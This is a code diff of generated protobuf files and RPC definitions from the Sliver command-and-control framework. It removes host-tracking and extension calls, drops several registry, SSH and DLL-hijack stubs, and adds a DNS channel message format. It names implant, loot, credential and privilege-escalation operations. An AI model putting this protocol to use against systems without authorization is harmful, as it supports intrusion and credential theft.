0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x33,
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70,
0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52,
0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c,
0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55,
0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49,
0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f,
0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08,
0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50,
0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12,
0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13,
0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44,
0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52,
0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41,
0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45,
0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b,
0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42,
0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10,
0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f,
0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
@@ -5290,7 +5004,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
}
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 69)
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 64)
var file_clientpb_client_proto_goTypes = []interface{}{
(OutputFormat)(0), // 0: clientpb.OutputFormat
(StageProtocol)(0), // 1: clientpb.StageProtocol
@@ -5358,22 +5072,17 @@ var file_clientpb_client_proto_goTypes = []interface{}{
(*Credential)(nil), // 63: clientpb.Credential
(*Loot)(nil), // 64: clientpb.Loot
(*AllLoot)(nil), // 65: clientpb.AllLoot
(*IOC)(nil), // 66: clientpb.IOC
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
(*Host)(nil), // 68: clientpb.Host
(*AllHosts)(nil), // 69: clientpb.AllHosts
nil, // 70: clientpb.ImplantBuilds.ConfigsEntry
nil, // 71: clientpb.WebsiteAddContent.ContentsEntry
nil, // 72: clientpb.Website.ContentsEntry
nil, // 73: clientpb.Host.ExtensionDataEntry
(*commonpb.Request)(nil), // 74: commonpb.Request
(*commonpb.Response)(nil), // 75: commonpb.Response
(*commonpb.File)(nil), // 76: commonpb.File
nil, // 66: clientpb.ImplantBuilds.ConfigsEntry
nil, // 67: clientpb.WebsiteAddContent.ContentsEntry
nil, // 68: clientpb.Website.ContentsEntry
(*commonpb.Request)(nil), // 69: commonpb.Request
(*commonpb.Response)(nil), // 70: commonpb.Response
(*commonpb.File)(nil), // 71: commonpb.File
}
var file_clientpb_client_proto_depIdxs = []int32{
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
70, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
66, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
@@ -5382,50 +5091,46 @@ var file_clientpb_client_proto_depIdxs = []int32{
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
74, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
75, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
74, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
75, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
69, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
70, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
69, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
70, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
76, // 17: clientpb.Generate.File:type_name -> commonpb.File
74, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
74, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
71, // 17: clientpb.Generate.File:type_name -> commonpb.File
69, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
69, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
76, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
71, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
74, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
69, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
74, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
74, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
74, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
69, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
69, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
69, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
71, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
72, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
67, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
68, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
76, // 41: clientpb.Loot.File:type_name -> commonpb.File
71, // 41: clientpb.Loot.File:type_name -> commonpb.File
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
73, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
8, // 46: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
57, // 47: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
57, // 48: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
67, // 49: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
50, // [50:50] is the sub-list for method output_type
50, // [50:50] is the sub-list for method input_type
50, // [50:50] is the sub-list for extension type_name
50, // [50:50] is the sub-list for extension extendee
0, // [0:50] is the sub-list for field type_name
8, // 43: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
57, // 44: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
57, // 45: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
46, // [46:46] is the sub-list for method output_type
46, // [46:46] is the sub-list for method input_type
46, // [46:46] is the sub-list for extension type_name
46, // [46:46] is the sub-list for extension extendee
0, // [0:46] is the sub-list for field type_name
}
func init() { file_clientpb_client_proto_init() }
@@ -6166,54 +5871,6 @@ func file_clientpb_client_proto_init() {
return nil
}
}
file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*IOC); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ExtensionData); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Host); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*AllHosts); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
@@ -6221,7 +5878,7 @@ func file_clientpb_client_proto_init() {
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_clientpb_client_proto_rawDesc,
NumEnums: 5,
NumMessages: 69,
NumMessages: 64,
NumExtensions: 0,
NumServices: 0,
},
-26
View File
@@ -43,7 +43,6 @@ message Session {
string ProxyURL = 20;
uint32 PollInterval = 21;
bool Burned = 22;
repeated string Extensions = 23;
}
message ImplantC2 {
@@ -275,7 +274,6 @@ message UpdateSession {
string Name = 2;
int32 ReconnectInterval = 3;
int32 PollInterval = 4;
repeated string Extensions = 5;
}
message GenerateReq {
@@ -498,27 +496,3 @@ message Loot {
message AllLoot {
repeated Loot Loot = 1;
}
// [ Hosts ] ----------------------------------------
message IOC {
string Path = 1;
string FileHash = 2;
string ID = 3;
}
message ExtensionData {
string Output = 1;
}
message Host {
string Hostname = 1;
string HostUUID = 2;
string OSVersion = 3;
repeated IOC IOCs = 4;
map<string, ExtensionData> ExtensionData = 5;
}
message AllHosts {
repeated Host Hosts = 1;
}
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: commonpb/common.proto
package commonpb
+255
View File
@@ -0,0 +1,255 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// source: dnspb/dns.proto
package dnspb
import (
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type DNSMessageType int32
const (
DNSMessageType_NOP DNSMessageType = 0
DNSMessageType_DOMAIN_KEY DNSMessageType = 1
DNSMessageType_SESSION_INIT DNSMessageType = 2
DNSMessageType_SESSION_POLL DNSMessageType = 3
DNSMessageType_BLOCK_PREAMBLE DNSMessageType = 7
DNSMessageType_BLOCK_DATA DNSMessageType = 8
DNSMessageType_BLOCK_CLEAR DNSMessageType = 9
)
// Enum value maps for DNSMessageType.
var (
DNSMessageType_name = map[int32]string{
0: "NOP",
1: "DOMAIN_KEY",
2: "SESSION_INIT",
3: "SESSION_POLL",
7: "BLOCK_PREAMBLE",
8: "BLOCK_DATA",
9: "BLOCK_CLEAR",
}
DNSMessageType_value = map[string]int32{
"NOP": 0,
"DOMAIN_KEY": 1,
"SESSION_INIT": 2,
"SESSION_POLL": 3,
"BLOCK_PREAMBLE": 7,
"BLOCK_DATA": 8,
"BLOCK_CLEAR": 9,
}
)
func (x DNSMessageType) Enum() *DNSMessageType {
p := new(DNSMessageType)
*p = x
return p
}
func (x DNSMessageType) String() string {
return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
}
func (DNSMessageType) Descriptor() protoreflect.EnumDescriptor {
return file_dnspb_dns_proto_enumTypes[0].Descriptor()
}
func (DNSMessageType) Type() protoreflect.EnumType {
return &file_dnspb_dns_proto_enumTypes[0]
}
func (x DNSMessageType) Number() protoreflect.EnumNumber {
return protoreflect.EnumNumber(x)
}
// Deprecated: Use DNSMessageType.Descriptor instead.
func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"`
N uint32 `protobuf:"varint,3,opt,name=N,proto3" json:"N,omitempty"`
Size uint32 `protobuf:"varint,4,opt,name=Size,proto3" json:"Size,omitempty"`
Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"`
}
func (x *DNSMessage) Reset() {
*x = DNSMessage{}
if protoimpl.UnsafeEnabled {
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DNSMessage) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*DNSMessage) ProtoMessage() {}
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
mi := &file_dnspb_dns_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use DNSMessage.ProtoReflect.Descriptor instead.
func (*DNSMessage) Descriptor() ([]byte, []int) {
return file_dnspb_dns_proto_rawDescGZIP(), []int{0}
}
func (x *DNSMessage) GetType() DNSMessageType {
if x != nil {
return x.Type
}
return DNSMessageType_NOP
}
func (x *DNSMessage) GetID() uint32 {
if x != nil {
return x.ID
}
return 0
}
func (x *DNSMessage) GetN() uint32 {
if x != nil {
return x.N
}
return 0
}
func (x *DNSMessage) GetSize() uint32 {
if x != nil {
return x.Size
}
return 0
}
func (x *DNSMessage) GetData() []byte {
if x != nil {
return x.Data
}
return nil
}
var File_dnspb_dns_proto protoreflect.FileDescriptor
var file_dnspb_dns_proto_rawDesc = []byte{
0x0a, 0x0f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2f, 0x64, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x12, 0x05, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x22, 0x7d, 0x0a, 0x0a, 0x44, 0x4e, 0x53, 0x4d,
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, 0x29, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01,
0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53,
0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70,
0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49,
0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12,
0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53,
0x69, 0x7a, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28,
0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d,
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f,
0x50, 0x10, 0x00, 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x4f, 0x4d, 0x41, 0x49, 0x4e, 0x5f, 0x4b, 0x45,
0x59, 0x10, 0x01, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x5f, 0x49,
0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x10, 0x0a, 0x0c, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e,
0x5f, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x12, 0x0a, 0x0e, 0x42, 0x4c, 0x4f, 0x43, 0x4b,
0x5f, 0x50, 0x52, 0x45, 0x41, 0x4d, 0x42, 0x4c, 0x45, 0x10, 0x07, 0x12, 0x0e, 0x0a, 0x0a, 0x42,
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x44, 0x41, 0x54, 0x41, 0x10, 0x08, 0x12, 0x0f, 0x0a, 0x0b, 0x42,
0x4c, 0x4f, 0x43, 0x4b, 0x5f, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c, 0x5a, 0x2a,
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x33,
}
var (
file_dnspb_dns_proto_rawDescOnce sync.Once
file_dnspb_dns_proto_rawDescData = file_dnspb_dns_proto_rawDesc
)
func file_dnspb_dns_proto_rawDescGZIP() []byte {
file_dnspb_dns_proto_rawDescOnce.Do(func() {
file_dnspb_dns_proto_rawDescData = protoimpl.X.CompressGZIP(file_dnspb_dns_proto_rawDescData)
})
return file_dnspb_dns_proto_rawDescData
}
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
var file_dnspb_dns_proto_goTypes = []interface{}{
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
}
var file_dnspb_dns_proto_depIdxs = []int32{
0, // 0: dnspb.DNSMessage.Type:type_name -> dnspb.DNSMessageType
1, // [1:1] is the sub-list for method output_type
1, // [1:1] is the sub-list for method input_type
1, // [1:1] is the sub-list for extension type_name
1, // [1:1] is the sub-list for extension extendee
0, // [0:1] is the sub-list for field type_name
}
func init() { file_dnspb_dns_proto_init() }
func file_dnspb_dns_proto_init() {
if File_dnspb_dns_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSMessage); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_dnspb_dns_proto_rawDesc,
NumEnums: 1,
NumMessages: 1,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_dnspb_dns_proto_goTypes,
DependencyIndexes: file_dnspb_dns_proto_depIdxs,
EnumInfos: file_dnspb_dns_proto_enumTypes,
MessageInfos: file_dnspb_dns_proto_msgTypes,
}.Build()
File_dnspb_dns_proto = out.File
file_dnspb_dns_proto_rawDesc = nil
file_dnspb_dns_proto_goTypes = nil
file_dnspb_dns_proto_depIdxs = nil
}
+23
View File
@@ -0,0 +1,23 @@
syntax = "proto3";
package dnspb;
option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
enum DNSMessageType {
NOP = 0; // aka FINGERPRINT
DOMAIN_KEY = 1;
SESSION_INIT = 2;
SESSION_POLL = 3;
BLOCK_PREAMBLE = 7;
BLOCK_DATA = 8;
BLOCK_CLEAR = 9;
}
message DNSMessage {
DNSMessageType Type = 1;
uint32 ID = 2;
uint32 N = 3;
uint32 Size = 4;
bytes Data = 5;
}
File diff suppressed because it is too large. Load diff
-13
View File
@@ -47,12 +47,6 @@ service SliverRPC {
rpc LootAll(commonpb.Empty) returns(clientpb.AllLoot);
rpc LootAllOf(clientpb.Loot) returns(clientpb.AllLoot);
// *** Hosts ***
rpc Hosts(commonpb.Empty) returns(clientpb.AllHosts);
rpc Host(clientpb.Host) returns(clientpb.Host);
rpc HostRm(clientpb.Host) returns(commonpb.Empty);
rpc HostIOCRm(clientpb.IOC) returns(commonpb.Empty);
// *** Implants ***
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
@@ -118,15 +112,8 @@ service SliverRPC {
rpc RegistryRead(sliverpb.RegistryReadReq) returns (sliverpb.RegistryRead);
rpc RegistryWrite(sliverpb.RegistryWriteReq) returns (sliverpb.RegistryWrite);
rpc RegistryCreateKey(sliverpb.RegistryCreateKeyReq) returns (sliverpb.RegistryCreateKey);
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
// Extensions
rpc RegisterExtension(sliverpb.RegisterExtensionReq) returns (sliverpb.RegisterExtension);
rpc CallExtension(sliverpb.CallExtensionReq) returns (sliverpb.CallExtension);
rpc ListExtensions(sliverpb.ListExtensionsReq) returns (sliverpb.ListExtensions);
// *** Wireguard Specific ***
rpc WGStartPortForward(sliverpb.WGPortForwardStartReq) returns (sliverpb.WGPortForward);
-364
View File
@@ -51,11 +51,6 @@ type SliverRPCClient interface {
LootContent(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.Loot, error)
LootAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
LootAllOf(ctx context.Context, in *clientpb.Loot, opts ...grpc.CallOption) (*clientpb.AllLoot, error)
// *** Hosts ***
Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error)
Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error)
HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error)
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
// *** Implants ***
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
@@ -119,15 +114,8 @@ type SliverRPCClient interface {
RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error)
RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error)
RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error)
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// Extensions
RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error)
ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error)
// *** Wireguard Specific ***
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -352,42 +340,6 @@ func (c *sliverRPCClient) LootAllOf(ctx context.Context, in *clientpb.Loot, opts
return out, nil
}
func (c *sliverRPCClient) Hosts(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.AllHosts, error) {
out := new(clientpb.AllHosts)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Hosts", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Host(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*clientpb.Host, error) {
out := new(clientpb.Host)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Host", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) HostRm(ctx context.Context, in *clientpb.Host, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HostRm", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
